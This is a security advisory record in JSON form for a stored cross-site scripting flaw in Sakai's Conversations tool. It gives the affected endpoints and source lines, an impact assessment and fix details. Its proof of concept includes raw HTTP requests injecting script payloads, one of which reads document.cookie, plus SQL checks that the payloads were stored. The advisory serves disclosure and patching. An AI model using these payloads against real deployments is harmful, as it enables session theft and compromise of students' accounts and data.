{"id":"CVE-2026-54049","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-54049","summary":"Sakai Conversations has a Stored XSS Issue","details":"### Summary\n\nThe Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's `unsafeHTML()` directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.\n\n\n### Description\n\nThe Conversations REST API endpoint `POST /api/sites/{siteId}/topics` accepts a `message` field in the JSON request body. The service layer (`ConversationsServiceImpl`) stores the message directly to the database (`conv_topics.MESSAGE`) without invoking `FormattedText.processFormattedText()` or any equivalent HTML sanitizer.\n\nThe same issue affects post replies via `POST /api/sites/{siteId}/topics/{topicId}/posts` and comments stored in `conv_comments`.\n\nOn the frontend, `SakaiTopic.js`, `SakaiPost.js`, and `SakaiComment.js` all render the `message` field using LitElement's `unsafeHTML()` directive:\n\n- `SakaiPost.js` lines 429, 432: `${unsafeHTML(this.post.message)}`\n- `SakaiTopic.js` line 679: `${unsafeHTML(this.topic.message)}`\n- `SakaiComment.js` line 148: `${unsafeHTML(this.comment.message)}`\n\nUnlike other Sakai tools (Announcements, Assignments, Resources) which call `FormattedText.processFormattedText()` before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.\n\n### Proof of Concept\n\n**Setup:** Admin/instructor session on a site with the Conversations tool enabled (siteId `BELP_275K_7418`).\n\n**Step 1 - Inject XSS payload in topic:**\n\n```\nPOST /api/sites/BELP_275K_7418/topics HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=<authenticated-session>\nContent-Type: application/json\n\n{\"title\":\"XSS Test Topic\",\"message\":\"<img src=x onerror=alert(1)>\",\"type\":\"QUESTION\",\"visibility\":\"SITE\",\"draft\":false}\n```\n\nResponse: HTTP 200, `\"message\":\"<img src=x onerror=alert(1)>\"` - raw HTML stored.\n\n**Step 2 - Verify stored in database:**\n\n```sql\nSELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics\nWHERE TOPIC_ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';\n-- Result: MESSAGE = <img src=x onerror=alert(1)>\n```\n\n**Step 3 - Inject XSS payload in post reply:**\n\n```\nPOST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=<authenticated-session>\nContent-Type: application/json\n\n{\"message\":\"<script>alert(document.cookie)<\\/script>\",\"siteId\":\"BELP_275K_7418\"}\n```\n\nResponse: HTTP 200, `\"message\":\"<script>alert(document.cookie)</script>\"` - raw script stored.\n\n**Step 4 - Verify in database:**\n\n```sql\nSELECT POST_ID, MESSAGE FROM conv_posts\nWHERE POST_ID='e3cf7aed-c630-448a-89bb-27a8baacd269';\n-- Result: MESSAGE = <script>alert(document.cookie)</script>\n```\n\nWhen any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with `unsafeHTML()`, causing the injected scripts and event handlers to execute.\n\n### Impact\n\nAn attacker with any site membership (student role or higher) can:\n- Perform actions on behalf of victims\n- Exfiltrate gradebook data and course content\n- In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously\n\n### Status / timeline:\n- 2026-06-02: Fix committed to master (`2696b4b48cbef2e81512f52f84f7477adff78b27`)\n- Release pending.","published":"2026-08-24T19:37:53Z","modified":"2026-08-24T19:45:08.433180980Z","cvss":{"score":8.7,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Maven","name":"org.sakaiproject.conversations:sakai-conversations-impl","fixedVersion":null},{"ecosystem":"Maven","name":"org.sakaiproject.kernel:sakai-kernel-impl","fixedVersion":null},{"ecosystem":"Maven","name":"org.sakaiproject.rubrics:rubrics-impl","fixedVersion":null}],"fix":{"url":"https://github.com/sakaiproject/sakai/commit/2696b4b48cbef2e81512f52f84f7477adff78b27","label":"sakaiproject/sakai@2696b4b"},"references":[{"type":"WEB","url":"https://github.com/sakaiproject/sakai/security/advisories/GHSA-w2x5-gv52-9ccv"},{"type":"WEB","url":"https://github.com/sakaiproject/sakai/commit/2696b4b48cbef2e81512f52f84f7477adff78b27"},{"type":"PACKAGE","url":"https://github.com/sakaiproject/sakai"},{"type":"WEB","url":"https://github.com/sakaiproject/sakai/releases/tag/23.5"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-24T19:45:08.433180980Z"}}